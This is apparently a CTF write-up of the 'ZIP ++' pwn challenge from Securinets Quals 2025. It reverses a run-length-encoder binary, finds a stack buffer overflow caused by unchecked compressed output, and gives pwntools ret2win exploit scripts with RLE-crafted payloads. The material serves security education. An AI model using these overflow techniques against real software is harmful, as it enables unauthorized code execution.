> For the complete documentation index, see [llms.txt](https://youssefsahnoun.gitbook.io/youssefsahnoun/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://youssefsahnoun.gitbook.io/youssefsahnoun/ctf-writeups/securinets-quals-2025/pwn.md).
# PWN
## ZIP ++
We have a binary named main.
No PIE which means addresses are constant not dynamic + No canary which means stack buffer overflow is possible without any leaks needed.
### Manual testing:
The binary compresses data and returns it, compressing logic is based on occurrences for example:
aa --> 6102 (a=0x61)
aabb --> 61026202
This is known as **run-length encoder (RLE).**
### GHIDRA Reversing:
Functions : main + vuln + compress + win.
#### Main function:
```c
undefined8 main(void)
{
setup();
vuln();
puts("bye");
return 0;
}
```
#### Vuln function:
```c
undefined8 vuln(void)
{
int iVar1;
ssize_t sVar2;
long lVar3;
undefined8 *puVar4;
undefined8 local_618 [96];
undefined8 local_318 [96];
int local_14;
undefined4 local_10;
int local_c;
puVar4 = local_318;
for (lVar3 = 0x60; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
puVar4 = local_618;
for (lVar3 = 0x60; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
while( true ) {
puts("data to compress : ");
sVar2 = read(0,local_618,0x300);
local_10 = (undefined4)sVar2;
iVar1 = strncmp((char *)local_618,"exit",4);
if (iVar1 == 0) break;
local_14 = compress(local_618,local_10,local_318);
printf("compressed data : ");
for (local_c = 0; local_c < local_14; local_c = local_c + 1) {
printf("%02X",(ulong)*(byte *)((long)local_318 + (long)local_c));
}
puts("");
}
return 0;
}
```
The first two loops initialize the buffers with 0.
While loop reads up to 0x300 (768 bytes) of data into local\_618. If data starts with 'exit' it breaks otherwise it compresses the data into local\_318 which is also is a 768 bytes buffer. and finally prints the compressed data.
#### Compress function:
```c
int compress(char *param_1,int param_2,long param_3)
{
char local_15;
int local_14;
int local_10;
int local_c;
local_15 = *param_1;
local_14 = 1;
local_c = 1;
local_10 = 0;
while (local_c < param_2) {
for (; ((local_14 < 0xff && (local_c < param_2)) && (local_15 == param_1[local_c]));
local_c = local_c + 1) {
local_14 = local_14 + 1;
}
*(char *)(local_10 + param_3) = local_15;
*(char *)(param_3 + (long)local_10 + 1) = (char)local_14;
local_10 = local_10 + 2;
local_14 = 0;
local_15 = param_1[local_c];
}
return local_10;
}
```
As we initiallly guessed, this is a simple Run Length Encoder.
This function doesn't have output validation which means if the compressed data is more than the allocated size for Local\_318 in Vuln we will have a stack buffer overflow that can enable us to overwrite return addresses.
#### Win function:
```c
void win(void)
{
system("cat flag.txt");
return;
}
```
Win function simply reads the flag.
This is a typical Ret2Win challenge: Our goal is to overflow the stack and return to the win function.
### EXPLOIT
Since there is no PIE protection, addresses are constant which means our local Win address is the same as the server's.
Win address = 0x4011a5
Our goal now is to enter some data to compress in a way that triggers a SIGSEGV. Figure out the exact offset that allows us to overflow the return address to point to win().
#### GDB:
We create a cyclic pattern send it and then send 'exit' to leave the while loop and trigger the SIGSEGV.
We can get the offset using pattern search command in GDB.
The value to look for is the RBP value which is = **0x173016a0172016a** and that is the compression of the sequence : '**jrjs**'
Now we can take that whole sequence up until we reach 'jrjs' and figure out the exact offset to overwrite the first 2 bytes of the return address to point to 0x4011a5 , or we can take the sequence simplify the pattern to only 1 character sequence. It really doesn't matter as long as we get the result we are looking for.
Using pwntools we can attach gdb to debug our input. We use this script initially:
```python
from pwn import *
binary_path = './main'
win_addr = 0x4011a5
p = process(binary_path)
gdb.attach(p, gdbscript='')
#p = remote('pwn-14caf623.p1.securinets.tn', 9000)
base_payload = b"aabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcyczddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzeefegeheiejekelemeneoepeqereseteuevewexeyezffgfhfifjfkflfmfnfofpfqfrfsftfufvfwfxfyfzgghgigjgkglgmgngogpgqgrgsgtgugvgwgxgygzhhihjhkhlhmhnhohphqhrhshthuhvhwhxhyhziijikiliminioipiqirisitiuiviwixiyizjjkjljmjnjojpjqjrjs"
print(base_payload)
exploit_bytes = b'y'
payload = base_payload + exploit_bytes
print(p.recv())
p.send(payload)
print(p.recv())
p.sendline(b'exit')
p.interactive()
```
I tested with a single byte 'y'.
'y' is compressed into 7901 and based on the GDB output you can see that it tried to return to the address **0x400179** which made it crush.
Now since our target address is 0x4011a5 we simply have to provide the byte 'a5' 17 times ( which translates to 0x11) in order to return to win() right?
```python
from pwn import *
binary_path = './main'
win_addr = 0x4011a5
p = process(binary_path)
gdb.attach(p, gdbscript='b vuln\n')
#p = remote('pwn-14caf623.p1.securinets.tn', 9000)
base_payload = b"aabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcyczddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzeefegeheiejekelemeneoepeqereseteuevewexeyezffgfhfifjfkflfmfnfofpfqfrfsftfufvfwfxfyfzgghgigjgkglgmgngogpgqgrgsgtgugvgwgxgygzhhihjhkhlhmhnhohphqhrhshthuhvhwhxhyhziijikiliminioipiqirisitiuiviwixiyizjjkjljmjnjojpjqjrjs"
print(base_payload)
exploit_bytes = b'\xa5'*17
payload = base_payload + exploit_bytes
print(p.recv())
p.send(payload)
print(p.recv())
p.sendline(b'exit')
p.interactive()
```
It successfully returns to WIN() but fails to print the flag due to stack alignment issues.
We can overcome this by jumping to the next line at 0x4011a6 instead:
GG!
